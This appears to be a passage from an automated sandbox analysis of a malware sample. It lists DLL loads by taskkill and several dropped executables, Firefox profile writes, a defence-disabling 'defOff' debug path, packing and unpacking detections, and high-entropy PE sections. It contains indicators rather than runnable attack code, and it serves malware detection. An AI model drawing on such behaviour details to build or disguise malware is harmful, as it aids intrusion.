Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1924608 > 1048576

Source: file.exe

Static PE information: Raw size of qjiksrqu is bigger than: 0x100000 < 0x1a4200

Source:	Binary string: The name of the library's debug file. For example, 'xul.pdb source: firefox.exe, 0000002A.00000003.2831793639.000001FA77F13000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: "description": "The name of the library's debug file. For example, 'xul.pdb" source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: The id of the tab whose key/value pair is being removed.Marks the study as ended and then uninstalls the addon.The name of the library's debug file. For example, 'xul.pdb source: firefox.exe, 0000002A.00000003.2831793639.000001FA77F13000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 1026aa8304.exe, 00000007.00000002.2944304399.0000000005EC2000.00000040.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2814745354.0000000007FE0000.00000004.00001000.00020000.00000000.sdmp, 822dda4848.exe, 0000001D.00000003.2699074661.0000000004960000.00000004.00001000.00020000.00000000.sdmp, 822dda4848.exe, 0000001D.00000002.2835113823.0000000000A92000.00000040.00000001.01000000.00000014.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.c00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.730000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.730000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.730000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Unpacked PE file: 7.2.1026aa8304.exe.3c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rriqemsb:EW;gdzxkufk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rriqemsb:EW;gdzxkufk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Unpacked PE file: 9.2.3c882da37a.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fswcchxk:EW;egtbgvgy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fswcchxk:EW;egtbgvgy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Unpacked PE file: 27.2.3c882da37a.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fswcchxk:EW;egtbgvgy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fswcchxk:EW;egtbgvgy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Unpacked PE file: 29.2.822dda4848.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W;bqkfoemv:EW;wtifjdmh:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Unpacked PE file: 44.2.822dda4848.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W;bqkfoemv:EW;wtifjdmh:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 3c882da37a.exe.6.dr	Static PE information: real checksum: 0x1bdeda should be: 0x1c1fac
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1c5370 should be: 0x1c4f8f
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x2b3a63 should be: 0x2ae091
Source: 822dda4848.exe.6.dr	Static PE information: real checksum: 0x2b3a63 should be: 0x2ae091
Source: file.exe	Static PE information: real checksum: 0x1d62fd should be: 0x1e024d
Source: 1026aa8304.exe.6.dr	Static PE information: real checksum: 0x1c5370 should be: 0x1c4f8f
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d62fd should be: 0x1e024d
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1bdeda should be: 0x1c1fac
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x4315e5 should be: 0x1affb2

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qjiksrqu
Source: file.exe	Static PE information: section name: nceqyape
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: qjiksrqu
Source: skotes.exe.0.dr	Static PE information: section name: nceqyape
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: rriqemsb
Source: random[1].exe.6.dr	Static PE information: section name: gdzxkufk
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 1026aa8304.exe.6.dr	Static PE information: section name:
Source: 1026aa8304.exe.6.dr	Static PE information: section name: .idata
Source: 1026aa8304.exe.6.dr	Static PE information: section name:
Source: 1026aa8304.exe.6.dr	Static PE information: section name: rriqemsb
Source: 1026aa8304.exe.6.dr	Static PE information: section name: gdzxkufk
Source: 1026aa8304.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: fswcchxk
Source: random[1].exe0.6.dr	Static PE information: section name: egtbgvgy
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 3c882da37a.exe.6.dr	Static PE information: section name:
Source: 3c882da37a.exe.6.dr	Static PE information: section name: .idata
Source: 3c882da37a.exe.6.dr	Static PE information: section name:
Source: 3c882da37a.exe.6.dr	Static PE information: section name: fswcchxk
Source: 3c882da37a.exe.6.dr	Static PE information: section name: egtbgvgy
Source: 3c882da37a.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name: bqkfoemv
Source: random[1].exe2.6.dr	Static PE information: section name: wtifjdmh
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: 822dda4848.exe.6.dr	Static PE information: section name:
Source: 822dda4848.exe.6.dr	Static PE information: section name: .idata
Source: 822dda4848.exe.6.dr	Static PE information: section name: bqkfoemv
Source: 822dda4848.exe.6.dr	Static PE information: section name: wtifjdmh
Source: 822dda4848.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .rsrc
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: pcnvptyg
Source: random[2].exe.6.dr	Static PE information: section name: tgxkadws
Source: random[2].exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0074D91C push ecx; ret	6_2_0074D92F
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB5582 push cs; ret	7_3_00DB5583
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB5582 push cs; ret	7_3_00DB5583
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB5582 push cs; ret	7_3_00DB5583
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB6E4B push es; ret	7_3_00DB6E4C
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB6E4B push es; ret	7_3_00DB6E4C
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB6E4B push es; ret	7_3_00DB6E4C
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC2615 push esp; ret	7_3_00DC26A3
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DC2735 push ds; ret	7_3_00DC2853
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DAE4F2 push eax; retf	7_3_00DAE4F3
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DAE4F2 push eax; retf	7_3_00DAE4F3
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB5582 push cs; ret	7_3_00DB5583
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB5582 push cs; ret	7_3_00DB5583
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB5582 push cs; ret	7_3_00DB5583
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB6E4B push es; ret	7_3_00DB6E4C
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB6E4B push es; ret	7_3_00DB6E4C
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB6E4B push es; ret	7_3_00DB6E4C
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DAE4F2 push eax; retf	7_3_00DAE4F3
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DAE4F2 push eax; retf	7_3_00DAE4F3
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB5582 push cs; ret	7_3_00DB5583
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB5582 push cs; ret	7_3_00DB5583
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB5582 push cs; ret	7_3_00DB5583
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB6E4B push es; ret	7_3_00DB6E4C
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB6E4B push es; ret	7_3_00DB6E4C
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Code function: 7_3_00DB6E4B push es; ret	7_3_00DB6E4C

Source: file.exe	Static PE information: section name: entropy: 7.9849987293715525
Source: file.exe	Static PE information: section name: qjiksrqu entropy: 7.9547081936135005
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.9849987293715525
Source: skotes.exe.0.dr	Static PE information: section name: qjiksrqu entropy: 7.9547081936135005
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.9815761329960475
